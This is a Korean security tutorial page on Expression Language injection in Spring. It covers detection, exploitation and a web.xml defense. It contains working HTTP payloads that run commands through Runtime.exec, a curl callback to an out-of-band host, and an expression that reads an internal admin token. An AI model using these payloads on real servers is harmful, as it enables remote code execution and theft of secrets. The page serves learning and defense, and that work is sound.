EL Injection

Expression Language Injection

Introduction

EL(Expression Language) Injection은 Expression을 처리하는 EL interpreter에 대한 Injection 공격으로 SSTI, OGNL Injection과 유사함을 가집니다.

Offensive techniques

Detect

만약 Spring에서 Expression을 통해 아래와 같이 처리하고 있다면 param.msg 즉 data란 이름의 파라미터는 Expression Language로 처리되기 떄문에 Injection을 통해서 공격자가 원하는 구문을 주입할 수 있게 됩니다.

<spring:message code="${param.data}" />
GET /log?data=${param.test}&test=INJECTION HTTP/1.1
Host: localhost

EL Injection에 대한 탐지는 보통 SSTI와 유사한 형태로 진행되며, 이외에도 직접 Expression 구문을 전송하여 서버가 처리하는 방식을 체크하는 형태로 이루어집니다.

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("COMMANDS")} HTTP/1.1
Host: localhost

Time-Based

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("ping -c 5 127.0.0.1")} HTTP/1.1
Host: localhost

ping 체크 시 5회 체크하기 때문에 약 5초의 딜레이가 발생합니다.

OAST-Based

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("curl <OAST-SERVICE>")} HTTP/1.1
Host: localhost

OAST-SERVICE로 DNS Query와 HTTP Request가 도착하는 것을 확인하여 체크할 수 있습니다.

Exploitation

RCE

Expression은 언어에 따라 다르지만 보통 Server-Side Application에서 처리할 수 있는 권한과 유사한 권한을 가지기 때문에 이를 통해 공격자가 의도한 명령을 전달하고 실행하여 서버를 탈취할 수 있습니다.

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("악의적인 명령 실행")} HTTP/1.1
Host: localhost

RCE Tirkc은 SSTI에서 Expression에 대해 명시되어 있으니 참고 부탁드립니다.

  • https://www.hahwul.com/cullinan/ssti/#ssti-to-rce

Infomation Disclosure

Expression을 통해 Object를 참조할 수 있기 때문에 통제된 Object 내부의 값을 호출하여 정보를 탈취할 수 있습니다.

GET /log?data=${admin.internalToken} HTTP/1.1
Host: localhost

Defensive techniques

Basic

기본적인 대응방안은 SSTI와 동일합니다.

https://www.hahwul.com/cullinan/ssti/#-defensive-techniques

SePL

SePL(Spring Expression Language)의 경우 Spring framework의 web.xml에 springJspExpressionSupportfalse로 지정하여 기본적인 SePL Injection을 예방할 수 있습니다.

<context-param>
  <description>Spring Expression Language Support</description>
  <param-name>springJspExpressionSupport</param-name>
  <param-value>false</param-value>
</context-param>

Articles

  • https://www.hahwul.com/2018/08/25/spel-injection-springboot-rce/
  • https://www.hahwul.com/cullinan/ssti/
  • https://www.hahwul.com/cullinan/ognl-injection/

References

  • https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection